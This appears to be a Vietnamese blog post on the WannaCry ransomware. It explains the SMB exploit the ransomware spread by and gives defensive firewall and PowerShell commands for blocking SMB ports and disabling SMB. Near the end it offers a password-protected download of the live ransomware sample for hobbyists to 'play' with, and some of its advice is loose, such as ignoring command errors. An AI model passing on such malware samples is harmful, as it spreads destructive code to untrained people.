Nếu công cụ không thể giải mã file của bạn, bạn có thể cần phải xem xét các giải pháp khác, như sao lưu dữ liệu hoặc liên hệ với chuyên gia an ninh mạng.

Một nhóm Hacker tên là Shadow Broker đã hack vào hệ thống của NSA và kéo ra một mớ dữ liệu của một tổ chức do NSA quản lý gọi là Equation Group. Trong mớ dữ liệu này có chứa rất nhiều các exploit 0-days đuợc NSA sử dụng để tấn công, do thám và đánh cắp dữ liệu của rất nhiều người dùng, tổ chức, chính phủ ở khắp nơi trên thế giới để phục vụ cho hoạt động tình báo.

Trong đó có một 0-days đặc biệt nguy hiểm mới được public đợt tháng 4 vừa rồi nhắm vào tất cả các phiên bản từ XP đến Windows 10. Lỗi này nhắm tới dịch vụ SMB (file sharing) của Windows cho phép attacker thực hiện remote execution, nói một cách nôm na, attacker có thể điều khiển máy tính từ xa, chẳng hạn như gọi lên một cmd với quyền SYSTEM, và thao tác ở đó mà người dùng không hề hay biết.

WannaCry tận dụng exploit này,khi nó lây nhiễm vào được một máy, nó sethực hiện scan các máy khác trong cùng LAN, và thực hiện exploit. Một khi exploitdc rối,no đã có quyền kiểm soát và thao tác trên máy mới, nó sẽ tự động copy bản thân nó sang máy mới kiểm soát được và chạy -> tiếp tục thực hiện đến với tất cả các máy còn lại.

Điểm nguy hiểm nhất dẫn đến việc có thể bị tấn công từ ngoài LAN chính là việc các máy không bật Firewall, chặn port 445 của smb hoặc disable File sharing service. Attacker có thể tạo một hệ thống tự động scan theo dải ip public để tìm các máy mở port 445 đê thực hiện exploit.

Hoặc attacker có thể dùng email phising đánh lừa người dùng bấm vào link, hoặc mở file đính kèm chứa một dropper, dropper này download code exploit về và chạy để tạo ra một backdoor, từ đó attacker ung dung tiến vào, hoặc đơn giản hơn nó down luôn WannaCry về và chạy.

Điểm khác biệt khiến WannaCry nguy hiểm chính là việc nó dùng exploit để mở rộng phạm vi lây nhiễm, Và cũng cần nhấn mạnh là exploit này có thể tạo ra một backdoor với quyền SYSTEM ( tương đương với root trong Linux) nên nó có toàn quyền đối với hệ thống, từ việc disable AV, disable Firewall, sửa hoặc xoá file hệ thống, vô hiệu hoá hoàn toàn các cơ chế bảo vệ.

Chỉ cần một node bị nhiễm là tất cả các máy trong cùng mạng nếu chưa được update sẽ dính theo. Lại càng nguy hiểm hơn ở VN khí người dùng xài Win lậu, không update, disable Firewall, và các bản win cũ như XP (MS đã ngừng support cho XP, tuy nhiên lần này vẫn phải tung một bản vá để sửa lỗi này cho XP)

Xem trực tiếp các vụ tấn công mạng trên thế giới

[su_button url=”https://intel.malwaretech.com/pewpew.html” target=”blank” style=”bubbles” background=”#fbbc05″ color=”#ea433″ size=”10″ center=”yes” radius=”round” icon=”icon: briefcase” icon_color=”#ea4335″ text_shadow=”0px 0px 0px #81fb8c”] Live Analyst[/su_button]

Hướng dẫn cách phòng tránh Ransomware WannaCry

Lưu ý:

Không tải, không mở bất kỳ tập tin nào không rõ nguồn gốc, đặc biệt là các file: exe, pdf

Cách 1: Update Windows

Điều quan trọng nhất là bạn phải Update Windows để cập nhật bản vá mới nhất của Microsoft. Hãy làm ngay lập tức, đừng chần chờ gì nửa.

Cách 2: Sử dụng công cụ RansomFree

Vừa mới đây hãng Cybereason vừa phát hành công cụ RansomeFree giúp bạn phát hiện và tiêu diệt ngay WannaCry khi vừa xuất hiện trên máy tính bạn.

Nếu lỡ máy tính bạn có đang dính Ransomware WannaCry, thì  RansomeFree cũng sẽ giúp bạn hạn chế bị lây lan qua các tập tin khác, tránh bị mã hóa toàn bộ dữ liệu

Xin lưu ý: tùy thuộc vào vị trí, một số tệp tin vẫn có thể bịmã hóa bởi ransomware WannaCry. Tuy nhiên, như được trình bày trong đoạn video này, phần lớn các tệp tin được bảo vệ, và ransomware không còn phát tán nữa.

[su_button url=”https://ransomfree.cybereason.com/download/” target=”blank” style=”bubbles” background=”#fbbc05″ color=”#ea433″ size=”10″ center=”yes” radius=”round” icon=”icon: briefcase” icon_color=”#ea4335″ text_shadow=”0px 0px 0px #81fb8c”]RansomFree[/su_button]

Hoặc cài đặt và cập nhật các phần mềm AntiVirus mới nhất như: Kaspersky, Avast, Avira…

Cách 3: Chặn Port 

Dùng Firewall có sẵn trên Windows, hoặc Firewall của các chương trình antivirus chặn các port sau:

• TCP ports 137, 139, and 445
• UDP ports 137 and 138

Dùng lệnh PowerShell

Vào Run: gõ lệnh Powershell rồi dán đoạn lệnh dưới đây

netsh advfirewall firewall add rule name="Disable SMB" dir=in action=block protocol=TCP localport=139
netsh advfirewall firewall add rule name="Disable SMB" dir=in action=block protocol=TCP localport=445
netsh advfirewall firewall add rule name="Disable SMB2" dir=in action=block protocol=udp localport=445
netsh advfirewall firewall add rule name="Disable RDC" dir=in action=block protocol=TCP localport=3389
netsh advfirewall firewall add rule name="Disable 137" dir=in action=block protocol=TCP localport=137
netsh advfirewall firewall add rule name="Disable 138" dir=in action=block protocol=TCP localport=138

Dùng trên giao diện

Cách dùng Firewall trên Windows:

Vào Control Panel –> Firewall

Chọn Advanced setting

Thực hiện lần lượt cho cả 2

Inbound Rules và Outbound Rules

Nhấn phải chuột vào Inbound Rules, chọn New Rule…

Check vào Ô Port rồi nhấn Next

Tiếp tục chọn vào TCP, trong phần Specific local ports: 137,139,445

Chọn Block Connection

Tiếp tục cứ nhấn Next,

Tới ô Name đặt gì cũng được.

Rồi tương tự thực hiện lại Bước 1, block port UDP: 137,138

Sau đó đến Outbound Rules, thực hiện như Inboud Rules

Cách 4: Tắt chế độ SMB

Bạn cần khởi động Power Shell lên, vào run gõ lệnh PowerShell

Máy tính cá nhân sử dụng Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012

Copy lệnh dưới đây vào PowerShell

sc.exe config lanmanworkstation depend= bowser/mrxsmb20/nsi
sc.exe config mrxsmb10 start= disabled
sc.exe config lanmanworkstation depend= bowser/mrxsmb10/nsi 
sc.exe config mrxsmb20 start= disabled
Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol

Chỗ nào lỗi thì cứ bỏ qua, copy xong thì nhấn Enter nha

Server sử dụng Windows 8 và Windows Server 2012

Copy lệnh dưới đây vào PowerShell

• Disable SMBv1

Set-SmbServerConfiguration -EnableSMB1Protocol $false

• Disable SMBv2

Set-SmbServerConfiguration -EnableSMB2Protocol $false

Server sử dụng Windows 7, Windows Server 2008 R2, Windows Vista, and Windows Server 2008

Copy lệnh dưới đây vào PowerShell

• Disable SMBv1

  Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB1 -Type DWORD -Value 0 -Force

• Disable SMBv2

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB2 -Type DWORD -Value 0 -Force

Bạn cần phải khởi động lại máy tính để hoàn tất nhé

Remove SMB v1 in Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 bằng giao diện

Windows Server: Vào Server Manager

 

Windows Server: Sử dụng PowerShell

Remove-WindowsFeature FS-SMB1

Máy tính cá nhân: Vào Control Panel chọn Add or Remove Programs

Máy tính cá nhân:

Dùng PowerShell

Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol

Nếu lỡ bị nhiễm Ransomware WannaCry rồi thì sao?

– Ngắt ngay đường mạng wifi internet và LAN nội bộ để không lây nhiễm các máy khác trong mạng

– Cài đặt ngay RansomFree (ở Cách 2) để tránh bị lây nhiễm

Và dự tính sẽ còn rất nhiều Server bị mã hóa hóa do con Ransomware này do 2 hôm nay là cuối tuần, đến ngày mai các nhân viên IT mới làm việc l

Nó là nỗi sợ với đa số người đặc biệt là cái công ty đang sử dụng Windows XP, Windows Server 2008 trở lên. Nếu ai thích vọc và đam mê về virus thì có thể tải con virus WannaCry về nghiên cứu chơi

 Download mẫu Virus Ransomware WannaCry

Pass: anonyviet.com

Có một số cách để phòng tránh bị nhiễm con Ransomware WannaCry này là Update Windows ngay lập tức.

• Dùng Firewall chặn truy cập các ports 445/139 & 3389
• Disable SMBv1 đi bằng gõ lệnh sau trên CMD với quyền administrator

dism /online /norestart /disable-feature /featurename:SMB1Protocol

Xem link hướng dẫn Disable SMB chi tiết của Micsrosoft.

Nhấn mạnh là con ransomware này ko ảnh hưởng đến máy chạy Windows 10 “mới nhất” nên ko nên test trên W10